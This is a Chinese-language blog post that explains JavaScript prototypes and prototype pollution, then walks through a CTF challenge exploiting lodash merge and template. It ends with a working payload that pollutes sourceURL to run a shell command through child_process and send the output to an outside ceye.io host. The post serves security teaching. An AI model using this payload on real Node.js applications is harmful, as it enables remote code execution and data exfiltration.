Damn1t
for you I bleed myself dry
FRIENDS
baidu

JS原型链污染

2019-11-04 js

JavaScript 原型链污染

什么是原型

什么是原型语言

只有对象,没有类;对象继承对象,而不是类继承类。

“原型对象”是核心概念。原型对象是新对象的模板,它将自身的属性共享给新对象。一个对象不但可以享有自己创建时和运行时定义的属性,而且可以享有原型对象的属性。

每一个对象都有自己的原型对象,所有对象构成一个树状的层级系统。root节点的顶层对象是一个语言原生的对象,只有它没有原型对象,其他所有对象都直接或间接继承它的属性。

原型语言创建有两个步骤:

  • 使用”原型对象”作为”模板”生成新对象 :这个步骤是必要的,这是每个对象出生的唯一方式。以原型为模板创建对象,这也是”原型”(prototype)的原意。
  • 初始化内部属性:这一步骤不是必要的。通俗点说,就是,对”复制品”不满意,我们可以”再加工”,使之获得不同于”模板”的”个性”。

对象

1.普通对象:

  • 最普通的对象:有proto属性(指向其原型链),没有prototype属性。
  • 原型对象(Person.prototype 原型对象还有constructor属性(指向构造函数对象))
1
2
3
4
5
6
7
8
//普通对象  
var o1 = new F1();
var o2 = {};
var o3 = new Object();

console.log(typeof o1); //Object
console.log(typeof o2); //Object
console.log(typeof o3); //Object

2.函数对象:

  • 凡是通过new Function()创建的都是函数对象。
  • 拥有__proto__prototype属性(指向原型对象)
  • FunctionObjectArrayDateStringRegExp、自定义函数
1
2
3
4
5
6
7
function F1(){};  
var F2 = function(){};
var F3 = function("n1","n2","return n1+n2");

console.log(typeof F1); //function
console.log(typeof F2); //function
console.log(typeof F3); //function

Array是函数对象,是Function的实例对象,Array是通过newFunction创建出来的。因为Array是Function的实例,所以Array.__proto__ === Function.prototype(Date、String、RegExp等同理)

prototype__proto__的关系

JS的哲学是一切皆对象

stack overflow上的来讲他们的区别就是:

prototype is a property of a Function object. It is the prototype of objects constructed by that function.

__proto__ is internal property of an object, pointing to its prototype. Current standards provide an equivalent Object.getPrototypeOf(O) method, though de facto standard __proto__ is quicker.

You can find instanceof relationships by comparing a function’s prototype to an object’s __proto__ chain, and you can break these relationships by changing prototype.

__proto__是对象的内置属性,所有对象都有,指向他的原型
prototype是函数对象的属性,他是通过函数构造的对象的原型

最高票回答是一句话:

__proto__is the actual object that is used in the lookup chain to resolve methods, etc. prototype is the object that is used to build __proto__ when you create an object with new

__proto__是真正用来查找原型链去获取方法的对象。prototype是在用new创建对象时用来构建__proto__的对象

prototype产生的原因是为了解决js语言出现伊始,创建实例对象时造成资源浪费的问题(参考Javascript继承机制的设计思想

JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。

JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。

constructor

prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。

由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承

hDog的实例对象,但是h自身没有constructor属性,该属性是读取原型链上面的Dog.prototype.construtor属性

constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的

原型对象、构造函数、实例对象之间的关系

原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……

如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype,即Object构造函数的prototype属性。也就是说,所有对象都继承了Object.prototype的属性。这就是所有对象都有valueOftoString方法的原因,因为这是从Object.prototype继承的。

Object.prototype的原型是nullnull没有任何属性和方法,也没有自己的原型。原型链的尽头就是null

原型链是实现继承的主要方法。

沿用上面的例子:

一个对象 A__proto__属性指向的那个对象BB就是 A 的原型对象(或者叫父对象),对象 A 可以使用对象 B 中的属性和方法,同时也可以使用对象 B 的 原型对象C 上的属性和方法,以此递归,就是所谓的原型链


(instanceof运算符返回一个布尔值,表示对象是否为某个构造函数的实例)

再用一张图来说明:

原型链污染

以一个例子来说明:

通过更改sam1.__proto__的属性,我们从而成功影响了来自同一类的对象sam2和其父类Object

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

这里引述phithon的一个例子:
我们利用merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

存在target[key] = source[key]的键值赋值操作,如果我们试图将key改为__proto__,就有可能出现上一个例子的效果

  • 尝试一
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

很明显,并没有改造成功,这里的__proto__被视为原型,从而遍历o2的所有键名
实际上第二个键值操作,系统会处理为o2.__proto__ = {b:2}

  • 尝试二
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

成功影响了原型链

JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

Code-Breaking 2018 Thejs

web界面如下:

设置了两个参数:

引用了jQuery@3.3.1select2@4.0.6,其中jQuery这个版本是存在原型链污染的问题,但是不知道参数的使用机制,于是查看源代码

源码调用了lodash库,然后查询一番,发现了CVE-2019-10744,注意到源码中使用了merge函数:

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

之前CVE-2019-10744曾提及过,lodash的merge函数存在问题

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

注意请求的处理方式:data = lodash.merge(data, req.body)req.body既是我们的可控点

重写了app.engine,注意到引用了lodash.template

1
2
3
4
5
6
7
8
9
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})

查看template函数,寻找可控点:

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

跟入sourceURL

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

其中 option 为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL 属性的值,我们就可以通过原型污染,添加一个 sourceURL 属性并控制值,在拼接到 Function 中达到执行 JS 的目的

得到payload:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://httprequest.test.xxxx.ceye.io/${result}`);req.end();\r\n"}}

利用ceye.io,拿到flag

reference:
http://dmitrysoshnikov.com/ecmascript/javascript-the-core/#constructor
https://juejin.im/post/5bebc6a3e51d4575125a39ca#heading-1
https://www.jianshu.com/p/686b61c4a43d
http://www.sxfda.cn/The-hacker-safe/520.html
https://www.jianshu.com/p/3d03f3e83cf5
https://zhuanlan.zhihu.com/p/22787302
https://smi1e.top/javascript-原型链污染/
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://wangdoc.com/javascript/oop/prototype.html
https://zhuanlan.zhihu.com/p/73186974
https://cloud.tencent.com/developer/article/1516331
https://www.venustech.com.cn/article/1/9577.html
https://blog.l0ca1.xyz/Code-Breaking

Author: damn1t

Link: http://microvorld.com/2019/11/04/vulnerable/js原型链污染/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
logic vuln
NextPost >
promise对象
CATALOG
  1. 1. JavaScript 原型链污染
    1. 1.1. 什么是原型
    2. 1.2. 对象
      1. 1.2.1. prototype和__proto__的关系
      2. 1.2.2. constructor
    3. 1.3. 原型链
    4. 1.4. 原型链污染
    5. 1.5. Code-Breaking 2018 Thejs